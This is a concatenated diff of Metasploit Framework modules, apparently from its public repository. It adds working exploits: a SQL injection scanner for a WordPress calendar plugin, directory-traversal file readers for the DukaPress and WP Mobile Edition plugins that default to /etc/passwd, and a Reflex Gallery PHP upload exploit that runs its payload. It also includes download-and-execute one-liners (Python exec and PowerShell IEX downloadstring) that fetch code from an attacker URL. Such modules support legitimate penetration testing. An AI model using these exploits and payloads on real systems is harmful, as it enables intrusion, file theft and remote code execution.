report_warning "OpenSSL CCS vulnerability (CVE-2014-0224) - Unknown"
|
||||
when 1
|
||||
report_good "OpenSSL CCS vulnerability (CVE-2014-0224) - No"
|
||||
when 2
|
||||
report_bad "OpenSSL CCS vulnerability (CVE-2014-0224) - Possibly vulnerable, but not exploitable"
|
||||
when 3
|
||||
report_bad "OpenSSL CCS vulnerability (CVE-2014-0224) - Vulnerable and exploitable"
|
||||
end
|
||||
|
||||
# Forward Secrecy
|
||||
case
|
||||
when r.details.forward_secrecy == 0
|
||||
report_bad "Forward Secrecy - No"
|
||||
when r.details.forward_secrecy[0] == 1
|
||||
report_bad "Forward Secrecy - With some browsers"
|
||||
when r.details.forward_secrecy[1] == 1
|
||||
report_good "Forward Secrecy - With modern browsers"
|
||||
when r.details.forward_secrecy[2] == 1
|
||||
report_good "Forward Secrecy - Yes (with most browsers)"
|
||||
end
|
||||
|
||||
# HSTS
|
||||
if r.details.sts_response_header
|
||||
str = "Strict Transport Security (HSTS) - Yes"
|
||||
if r.details.sts_max_age && r.details.sts_max_age != -1
|
||||
str += ":max-age=#{r.details.sts_max_age}"
|
||||
end
|
||||
str += ":includeSubdomains" if r.details.sts_subdomains?
|
||||
report_good str
|
||||
else
|
||||
report_bad "Strict Transport Security (HSTS) - No"
|
||||
end
|
||||
|
||||
# HPKP
|
||||
if r.details.pkp_response_header
|
||||
report_good "Public Key Pinning (HPKP) - Yes"
|
||||
else
|
||||
report_warning "Public Key Pinning (HPKP) - No"
|
||||
end
|
||||
|
||||
# Compression
|
||||
if r.details.compression_methods == 0
|
||||
report_good "Compression - No"
|
||||
elsif (r.details.session_tickets & 1) != 0
|
||||
report_warning "Compression - Yes (Deflate)"
|
||||
end
|
||||
|
||||
# Session Resumption
|
||||
case r.details.session_resumption
|
||||
when 0
|
||||
print_status "Session resumption - No"
|
||||
when 1
|
||||
report_warning "Session resumption - No (IDs assigned but not accepted)"
|
||||
when 2
|
||||
print_status "Session resumption - Yes"
|
||||
end
|
||||
|
||||
# Session Tickets
|
||||
case
|
||||
when r.details.session_tickets == 0
|
||||
print_status "Session tickets - No"
|
||||
when r.details.session_tickets[0] == 1
|
||||
print_status "Session tickets - Yes"
|
||||
when r.details.session_tickets[1] == 1
|
||||
report_good "Session tickets - Implementation is faulty"
|
||||
when r.details.session_tickets[2] == 1
|
||||
report_warning "Session tickets - Server is intolerant to the extension"
|
||||
end
|
||||
|
||||
# OCSP stapling
|
||||
if r.details.ocsp_stapling?
|
||||
print_status "OCSP Stapling - Yes"
|
||||
else
|
||||
print_status "OCSP Stapling - No"
|
||||
end
|
||||
|
||||
# NPN
|
||||
if r.details.supports_npn?
|
||||
print_status "Next Protocol Negotiation (NPN) - Yes (#{r.details.npn_protocols})"
|
||||
else
|
||||
print_status "Next Protocol Negotiation (NPN) - No"
|
||||
end
|
||||
|
||||
# SNI
|
||||
print_status "SNI Required - Yes" if r.details.sni_required?
|
||||
end
|
||||
|
||||
def output_grades_only(r)
|
||||
r.endpoints.each do |e|
|
||||
if e.status_message == "Ready"
|
||||
print_status "Server: #{e.server_name} (#{e.ip_address}) - Grade:#{e.grade}"
|
||||
else
|
||||
print_status "Server: #{e.server_name} (#{e.ip_address} - Status:#{e.status_message}"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def output_common_info(r)
|
||||
return unless r
|
||||
print_status "Host: #{r.host}"
|
||||
|
||||
r.endpoints.each do |e|
|
||||
print_status "\t #{e.ip_address}\n"
|
||||
end
|
||||
end
|
||||
|
||||
def output_result(r, grade)
|
||||
return unless r
|
||||
output_common_info(r)
|
||||
if grade
|
||||
output_grades_only(r)
|
||||
else
|
||||
r.endpoints.each do |e|
|
||||
if e.status_message == "Ready"
|
||||
output_endpoint_data(e)
|
||||
else
|
||||
print_status "#{e.status_message}"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def output_testing_details(r)
|
||||
return unless r.status == "IN_PROGRESS"
|
||||
|
||||
if r.endpoints.length == 1
|
||||
print_status "#{r.host} (#{r.endpoints[0].ip_address}) - Progress #{r.endpoints[0].progress}% (#{r.endpoints[0].status_details_message})"
|
||||
elsif r.endpoints.length > 1
|
||||
in_progress_srv_num = 0
|
||||
ready_srv_num = 0
|
||||
pending_srv_num = 0
|
||||
r.endpoints.each do |e|
|
||||
case e.status_message.to_s
|
||||
when "In progress"
|
||||
in_progress_srv_num += 1
|
||||
print_status "Scanned host: #{e.ip_address} (#{e.server_name})- #{e.progress}% complete (#{e.status_details_message})"
|
||||
when "Pending"
|
||||
pending_srv_num += 1
|
||||
when "Ready"
|
||||
ready_srv_num += 1
|
||||
end
|
||||
end
|
||||
progress = ((ready_srv_num.to_f / (pending_srv_num + in_progress_srv_num + ready_srv_num)) * 100.0).round(0)
|
||||
print_status "Ready: #{ready_srv_num}, In progress: #{in_progress_srv_num}, Pending: #{pending_srv_num}"
|
||||
print_status "#{r.host} - Progress #{progress}%"
|
||||
end
|
||||
end
|
||||
|
||||
def valid_hostname?(hostname)
|
||||
hostname =~ /^(([a-zA-Z0-9]|[a-zA-Z0-9][a-zA-Z0-9\-]*[a-zA-Z0-9])\.)*([A-Za-z0-9]|[A-Za-z0-9][A-Za-z0-9\-]*[A-Za-z0-9])$/
|
||||
end
|
||||
|
||||
def run
|
||||
delay = datastore['DELAY']
|
||||
|
||||
hostname = datastore['HOSTNAME']
|
||||
unless valid_hostname?(hostname)
|
||||
print_status "Invalid hostname"
|
||||
return
|
||||
end
|
||||
|
||||
usecache = datastore['USECACHE']
|
||||
grade = datastore['GRADE']
|
||||
|
||||
# Use cached results
|
||||
if usecache
|
||||
from_cache = 'on'
|
||||
start_new = 'off'
|
||||
else
|
||||
from_cache = 'off'
|
||||
start_new = 'on'
|
||||
end
|
||||
|
||||
# Ignore mismatch
|
||||
ignore_mismatch = datastore['IGNOREMISMATCH'] ? 'on' : 'off'
|
||||
|
||||
api = Api.new
|
||||
info = api.info
|
||||
print_status "SSL Labs API info"
|
||||
print_status "API version: #{info.engine_version}"
|
||||
print_status "Evaluation criteria: #{info.criteria_version}"
|
||||
print_status "Running assessments: #{info.current_assessments} (max #{info.max_assessments})"
|
||||
|
||||
if api.current_assessments >= api.max_assessments
|
||||
print_status "Too many active assessments"
|
||||
return
|
||||
end
|
||||
|
||||
if usecache
|
||||
r = api.analyse(host: hostname, fromCache: from_cache, ignoreMismatch: ignore_mismatch, all: 'done')
|
||||
else
|
||||
r = api.analyse(host: hostname, startNew: start_new, ignoreMismatch: ignore_mismatch, all: 'done')
|
||||
end
|
||||
|
||||
loop do
|
||||
case r.status
|
||||
when "DNS"
|
||||
print_status "Server: #{r.host} - #{r.status_message}"
|
||||
when "IN_PROGRESS"
|
||||
output_testing_details(r)
|
||||
when "READY"
|
||||
output_result(r, grade)
|
||||
return
|
||||
when "ERROR"
|
||||
print_error "#{r.status_message}"
|
||||
return
|
||||
else
|
||||
print_error "Unknown assessment status"
|
||||
return
|
||||
end
|
||||
sleep delay
|
||||
r = api.analyse(host: hostname, all: 'done')
|
||||
end
|
||||
|
||||
rescue
|
||||
print_error "Invalid parameters"
|
||||
rescue RequestRateTooHigh
|
||||
print_error "Request rate is too high, please slow down"
|
||||
rescue InternalError
|
||||
print_error "Service encountered an error, sleep 5 minutes"
|
||||
rescue ServiceNotAvailable
|
||||
print_error "Service is not available, sleep 15 minutes"
|
||||
rescue ServiceOverloaded
|
||||
print_error "Service is overloaded, sleep 30 minutes"
|
||||
end
|
||||
end
|
|
@ -0,0 +1,75 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'uri'
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit4 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'CP Multi-View Calendar Unauthenticated SQL Injection Scanner',
|
||||
'Description' => %q{
|
||||
This module will scan given instances for an unauthenticated SQL injection
|
||||
within the CP Multi-View Calendar plugin v1.1.4 for Wordpress.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Joaquin Ramirez Martinez', #discovery
|
||||
'bperry' #metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'EDB', '36243'],
|
||||
[ 'WPVDB', '7910' ]
|
||||
],
|
||||
'DisclosureDate' => 'Mar 03 2015'))
|
||||
|
||||
register_options([
|
||||
OptString.new('TARGETURI', [true, 'Target URI of the Wordpress instance', '/'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
right_marker = Rex::Text.rand_text_alpha(5)
|
||||
left_marker = Rex::Text.rand_text_alpha(5)
|
||||
flag = Rex::Text.rand_text_alpha(5)
|
||||
|
||||
vprint_status("#{peer} - Checking host")
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, '/'),
|
||||
'vars_get' => {
|
||||
'action' => 'data_management',
|
||||
'cpmvc_do_action' => 'mvparse',
|
||||
'f' => 'edit',
|
||||
'id' => "1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x#{left_marker.unpack("H*")[0]},0x#{flag.unpack("H*")[0]},0x#{right_marker.unpack("H*")[0]}),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--"
|
||||
}
|
||||
})
|
||||
|
||||
unless res && res.body
|
||||
vprint_error("#{peer} - Server did not respond in an expected way")
|
||||
return
|
||||
end
|
||||
|
||||
result = res.body =~ /#{left_marker}#{flag}#{right_marker}/
|
||||
|
||||
if result
|
||||
print_good("#{peer} - Vulnerable to unauthenticated SQL injection within CP Multi-View Calendar 1.1.4 for Wordpress")
|
||||
report_vuln({
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:proto => 'tcp',
|
||||
:name => "Unauthenticated UNION-based SQL injection in CP Multi-View Calendar 1.1.4 for Wordpress",
|
||||
:refs => self.references.select { |ref| ref.ctx_val == "36243" }
|
||||
})
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,82 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::HTTP::Wordpress
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'WordPress DukaPress Plugin File Read Vulnerability',
|
||||
'Description' => %q{
|
||||
This module exploits a directory traversal vulnerability in WordPress Plugin
|
||||
"DukaPress" version 2.5.2, allowing to read arbitrary files with the
|
||||
web server privileges.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
['EDB', '35346'],
|
||||
['CVE', '2014-8799'],
|
||||
['WPVDB', '7731'],
|
||||
['OSVDB', '115130']
|
||||
],
|
||||
'Author' =>
|
||||
[
|
||||
'Kacper Szurek', # Vulnerability discovery
|
||||
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']),
|
||||
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 7 ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
check_plugin_version_from_readme('dukapress', '2.5.7')
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
traversal = "../" * datastore['DEPTH']
|
||||
filename = datastore['FILEPATH']
|
||||
filename = filename[1, filename.length] if filename =~ /^\//
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(wordpress_url_plugins, 'dukapress', 'lib', 'dp_image.php'),
|
||||
'vars_get' =>
|
||||
{
|
||||
'src' => "#{traversal}#{filename}"
|
||||
}
|
||||
})
|
||||
|
||||
if res && res.code == 200 && res.body.length > 0
|
||||
|
||||
print_status('Downloading file...')
|
||||
print_line("\n#{res.body}")
|
||||
|
||||
fname = datastore['FILEPATH']
|
||||
|
||||
path = store_loot(
|
||||
'dukapress.file',
|
||||
'text/plain',
|
||||
ip,
|
||||
res.body,
|
||||
fname
|
||||
)
|
||||
|
||||
print_good("#{peer} - File saved in: #{path}")
|
||||
else
|
||||
print_error("#{peer} - Nothing was downloaded. You can try to change the DEPTH parameter.")
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,80 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::HTTP::Wordpress
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'WordPress Mobile Edition File Read Vulnerability',
|
||||
'Description' => %q{
|
||||
This module exploits a directory traversal vulnerability in WordPress Plugin
|
||||
"WP Mobile Edition" version 2.2.7, allowing to read arbitrary files with the
|
||||
web server privileges. Stay tuned to the correct value in TARGETURI.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
['EDB', '36733'],
|
||||
['WPVDB', '7898']
|
||||
],
|
||||
'Author' =>
|
||||
[
|
||||
'Khwanchai Kaewyos', # Vulnerability discovery
|
||||
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('FILEPATH', [true, "The path to the file to read", "/etc/passwd"]),
|
||||
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 7 ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
check_plugin_version_from_readme('wp-mobile-edition', '2.3')
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
traversal = "../" * datastore['DEPTH']
|
||||
filename = datastore['FILEPATH']
|
||||
filename = filename[1, filename.length] if filename =~ /^\//
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(wordpress_url_themes, 'mTheme-Unus', 'css', 'css.php'),
|
||||
'vars_get' =>
|
||||
{
|
||||
'files' => "#{traversal}#{filename}"
|
||||
}
|
||||
})
|
||||
|
||||
if res && res.code == 200 && res.body.length > 0
|
||||
|
||||
print_status('Downloading file...')
|
||||
print_line("\n#{res.body}\n")
|
||||
|
||||
fname = datastore['FILEPATH']
|
||||
|
||||
path = store_loot(
|
||||
'mobileedition.traversal',
|
||||
'text/plain',
|
||||
ip,
|
||||
res.body,
|
||||
fname
|
||||
)
|
||||
|
||||
print_good("#{peer} - File saved in: #{path}")
|
||||
else
|
||||
print_error("#{peer} - Nothing was downloaded. You can try to change the DEPTH parameter.")
|
||||
end
|
||||
end
|
||||
end
|
|
@ -81,6 +81,7 @@ class Metasploit4 < Msf::Auxiliary
|
|||
'headers' => {
|
||||
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
|
||||
},
|
||||
'encode_params' => false,
|
||||
'vars_get' => {
|
||||
'sap-client' => datastore['CLIENT'],
|
||||
'sap-language' => 'EN'
|
||||
|
|
|
@ -123,6 +123,7 @@ class Metasploit4 < Msf::Auxiliary
|
|||
'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{client}",
|
||||
'ctype' => 'text/xml; charset=UTF-8',
|
||||
'authorization' => basic_auth(username, password),
|
||||
'encode_params' => false,
|
||||
'headers' =>
|
||||
{
|
||||
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
|
||||
|
|
|
@ -102,6 +102,7 @@ class Metasploit4 < Msf::Auxiliary
|
|||
'headers' => {
|
||||
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
|
||||
},
|
||||
'encode_params' => false,
|
||||
'vars_get' => {
|
||||
'sap-client' => datastore['CLIENT'],
|
||||
'sap-language' => 'EN'
|
||||
|
|
|
@ -103,6 +103,7 @@ class Metasploit4 < Msf::Auxiliary
|
|||
'headers' => {
|
||||
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
|
||||
},
|
||||
'encode_params' => false,
|
||||
'vars_get' => {
|
||||
'sap-client' => datastore['CLIENT'],
|
||||
'sap-language' => 'EN'
|
||||
|
|
|
@ -71,6 +71,7 @@ class Metasploit4 < Msf::Auxiliary
|
|||
'headers' => {
|
||||
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions'
|
||||
},
|
||||
'encode_params' => false,
|
||||
'vars_get' => {
|
||||
'sap-client' => client,
|
||||
'sap-language' => 'EN'
|
||||
|
|
|
@ -89,6 +89,7 @@ class Metasploit4 < Msf::Auxiliary
|
|||
'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{datastore['CLIENT']}",
|
||||
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
|
||||
'ctype' => 'text/xml; charset=UTF-8',
|
||||
'encode_params' => false,
|
||||
'headers' => {
|
||||
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
|
||||
},
|
||||
|
|
|
@ -75,6 +75,7 @@ class Metasploit4 < Msf::Auxiliary
|
|||
'data' => data,
|
||||
'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{datastore['CLIENT']}",
|
||||
'ctype' => 'text/xml; charset=UTF-8',
|
||||
'encode_params' => false,
|
||||
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
|
||||
'headers' => {
|
||||
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions'
|
||||
|
|
|
@ -78,6 +78,7 @@ class Metasploit4 < Msf::Auxiliary
|
|||
'data' => data,
|
||||
'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{datastore['CLIENT']}",
|
||||
'ctype' => 'text/xml; charset=UTF-8',
|
||||
'encode_params' => false,
|
||||
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
|
||||
'headers' => {
|
||||
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
|
||||
|
|
|
@ -78,6 +78,7 @@ class Metasploit4 < Msf::Auxiliary
|
|||
'data' => data,
|
||||
'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{datastore['CLIENT']}",
|
||||
'ctype' => 'text/xml; charset=UTF-8',
|
||||
'encode_params' => false,
|
||||
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
|
||||
'headers' =>{
|
||||
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
|
||||
|
|
|
@ -94,6 +94,7 @@ class Metasploit4 < Msf::Auxiliary
|
|||
'data' => data,
|
||||
'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{datastore['CLIENT']}",
|
||||
'ctype' => 'text/xml; charset=UTF-8',
|
||||
'encode_params' => false,
|
||||
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
|
||||
'headers' =>{
|
||||
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
|
||||
|
|
|
@ -69,6 +69,7 @@ class Metasploit4 < Msf::Auxiliary
|
|||
'data' => data,
|
||||
'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{datastore['CLIENT']}",
|
||||
'ctype' => 'text/xml; charset=UTF-8',
|
||||
'encode_params' => false,
|
||||
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
|
||||
'headers' => {
|
||||
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
|
||||
|
|
|
@ -0,0 +1,67 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/proto/steam'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::UDPScanner
|
||||
include Rex::Proto::Steam
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Gather Steam Server Information',
|
||||
'Description' => %q(
|
||||
This module uses the A2S_INFO request to obtain information from a Steam server.
|
||||
),
|
||||
'Author' => 'Jon Hart <jon_hart[at]rapid7.com>',
|
||||
'References' =>
|
||||
[
|
||||
# TODO: add more from https://developer.valvesoftware.com/wiki/Server_queries,
|
||||
# perhaps in different modules
|
||||
['URL', 'https://developer.valvesoftware.com/wiki/Server_queries#A2S_INFO']
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(27015)
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def build_probe
|
||||
@probe ||= a2s_info
|
||||
end
|
||||
|
||||
def scanner_process(response, src_host, src_port)
|
||||
info = a2s_info_decode(response)
|
||||
return unless info
|
||||
@results[src_host] ||= []
|
||||
if datastore['VERBOSE']
|
||||
print_good("#{src_host}:#{src_port} found '#{info.inspect}'")
|
||||
else
|
||||
print_good("#{src_host}:#{src_port} found '#{info[:name]}'")
|
||||
end
|
||||
@results[src_host] << info
|
||||
end
|
||||
|
||||
def scanner_postscan(_batch)
|
||||
@results.each_pair do |host, info|
|
||||
report_host(host: host)
|
||||
report_service(
|
||||
host: host,
|
||||
proto: 'udp',
|
||||
port: rport,
|
||||
name: 'Steam',
|
||||
info: info
|
||||
)
|
||||
end
|
||||
end
|
||||
end
|
|
@ -105,6 +105,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
res = send_request_cgi({
|
||||
'uri' => '/admin/system.html',
|
||||
'cookie' => "usercookie=#{user}; passcookie=#{pass};",
|
||||
'encode_params' => false,
|
||||
'vars_get' => {
|
||||
'step' => '2',
|
||||
'device' => "lo#{cmd}"
|
||||
|
|
|
@ -102,6 +102,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
login = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, '/index.php'),
|
||||
'method' => 'POST',
|
||||
'encode_params' => false,
|
||||
'vars_post' => post,
|
||||
'vars_get' => {
|
||||
'c' => 'login',
|
||||
|
|
|
@ -97,6 +97,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
res = send_request_cgi({
|
||||
'uri' => '/index.cgi',
|
||||
'authorization' => basic_auth(user, pass),
|
||||
'encode_params' => false,
|
||||
'vars_get' => {
|
||||
'nlines' => lines,
|
||||
'action' => 'See logs',
|
||||
|
|
|
@ -66,6 +66,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'uri' => normalize_uri(@uri.path, 'j_spring_security_check'),
|
||||
'method' => 'POST',
|
||||
'cookie' => @cookie,
|
||||
'encode_params' => false,
|
||||
'vars_post' => {
|
||||
'j_username' => Rex::Text.uri_encode(user, 'hex-normal'),
|
||||
'j_password' => Rex::Text.uri_encode(pass, 'hex-normal'),
|
||||
|
@ -86,6 +87,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(@uri.path, 'mastheadAttach.do'),
|
||||
'cookie' => @cookie,
|
||||
'encode_params' => false,
|
||||
'vars_get' => {
|
||||
'typeId' => '10003'
|
||||
}
|
||||
|
@ -144,6 +146,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'method' => 'POST',
|
||||
'uri' => normalize_uri(@uri.path, 'hqu/gconsole/console/execute.hqu?org.apache.catalina.filters.CSRF_NONCE=')+@nonce,
|
||||
'cookie' => @cookie,
|
||||
'encode_params' => false,
|
||||
'vars_post' => {
|
||||
'code' => java # java_craft_runtime_exec(cmd)
|
||||
}
|
||||
|
|
|
@ -184,6 +184,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'uri' => normalize_uri(base, 'setup/setup-/../../plugin-admin.jsp'),
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'encode_params' => false,
|
||||
'headers' => {
|
||||
'Content-Type' => 'multipart/form-data; boundary=' + boundary,
|
||||
'Content-Length' => data.length,
|
||||
|
@ -202,6 +203,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("Deleting plugin #{plugin_name} from the server")
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(base, 'setup/setup-/../../plugin-admin.jsp'),
|
||||
'encode_params' => false,
|
||||
'headers' => {
|
||||
'Cookie' => "JSESSIONID=#{rand_text_numeric(13)}",
|
||||
},
|
||||
|
|
|
@ -88,7 +88,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
when 'Python'
|
||||
print_line("python -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"")
|
||||
when 'PSH'
|
||||
ignore_cert = Rex::Exploitation::Powershell::PshMethods.ignore_ssl_certificate if ssl
|
||||
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
|
||||
download_and_run = "#{ignore_cert}IEX ((new-object net.webclient).downloadstring('#{url}'))"
|
||||
print_line generate_psh_command_line(
|
||||
noprofile: true,
|
||||
|
|
|
@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
def initialize(info = {})
|
||||
super(update_info(
|
||||
info,
|
||||
'Name' => 'Remote Code Execution in WordPress Platform Theme',
|
||||
'Name' => 'WordPress Platform Theme File Upload Vulnerability',
|
||||
'Description' => %q{
|
||||
The WordPress Theme "platform" contains a remote code execution vulnerability
|
||||
through an unchecked admin_init call. The theme includes the uploaded file
|
||||
|
|
|
@ -0,0 +1,84 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::HTTP::Wordpress
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Wordpress Reflex Gallery Upload Vulnerability',
|
||||
'Description' => %q{
|
||||
This module exploits an arbitrary PHP code upload in the WordPress Reflex Gallery
|
||||
version 3.1.3. The vulnerability allows for arbitrary file upload and remote code execution.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Unknown', # Vulnerability discovery
|
||||
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['EDB', '36374'],
|
||||
['OSVDB', '88853'],
|
||||
['WPVDB', '7867']
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' => [['Reflex Gallery 3.1.3', {}]],
|
||||
'DisclosureDate' => 'Dec 30 2012', # OSVDB? EDB? WPVDB? Cannot set the date.
|
||||
'DefaultTarget' => 0)
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
check_plugin_version_from_readme('reflex-gallery', '3.1.4')
|
||||
end
|
||||
|
||||
def exploit
|
||||
php_pagename = rand_text_alpha(8 + rand(8)) + '.php'
|
||||
|
||||
data = Rex::MIME::Message.new
|
||||
data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"qqfile\"; filename=\"#{php_pagename}\"")
|
||||
post_data = data.to_s
|
||||
|
||||
time = Time.new
|
||||
year = time.year.to_s
|
||||
month = "%02d" % time.month
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(wordpress_url_plugins, 'reflex-gallery', 'admin', 'scripts', 'FileUploader', 'php.php'),
|
||||
'method' => 'POST',
|
||||
'vars_get' => {
|
||||
'Year' => "#{year}",
|
||||
'Month' => "#{month}"
|
||||
},
|
||||
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
||||
'data' => post_data
|
||||
})
|
||||
|
||||
if res
|
||||
if res.code == 200 && res.body =~ /success|#{php_pagename}/
|
||||
print_good("#{peer} - Our payload is at: #{php_pagename}. Calling payload...")
|
||||
register_files_for_cleanup(php_pagename)
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Unable to deploy payload, server returned #{res.code}")
|
||||
end
|
||||
else
|
||||
fail_with(Failure::Unknown, 'Server did not respond in an expected way')
|
||||
end
|
||||
|
||||
print_status("#{peer} - Calling payload...")
|
||||
send_request_cgi(
|
||||
'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', "#{year}", "#{month}", php_pagename)
|
||||
)
|
||||
end
|
||||
end
|
|
@ -0,0 +1,116 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::HTTP::Wordpress
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(
|
||||
info,
|
||||
'Name' => 'Wordpress SlideShow Gallery Authenticated File Upload',
|
||||
'Description' => %q{
|
||||
The Wordpress SlideShow Gallery plugin contains an authenticated file upload
|
||||
vulnerability. We can upload arbitrary files to the upload folder, because
|
||||
the plugin also uses it's own file upload mechanism instead of the wordpress
|
||||
api it's possible to upload any file type.
|
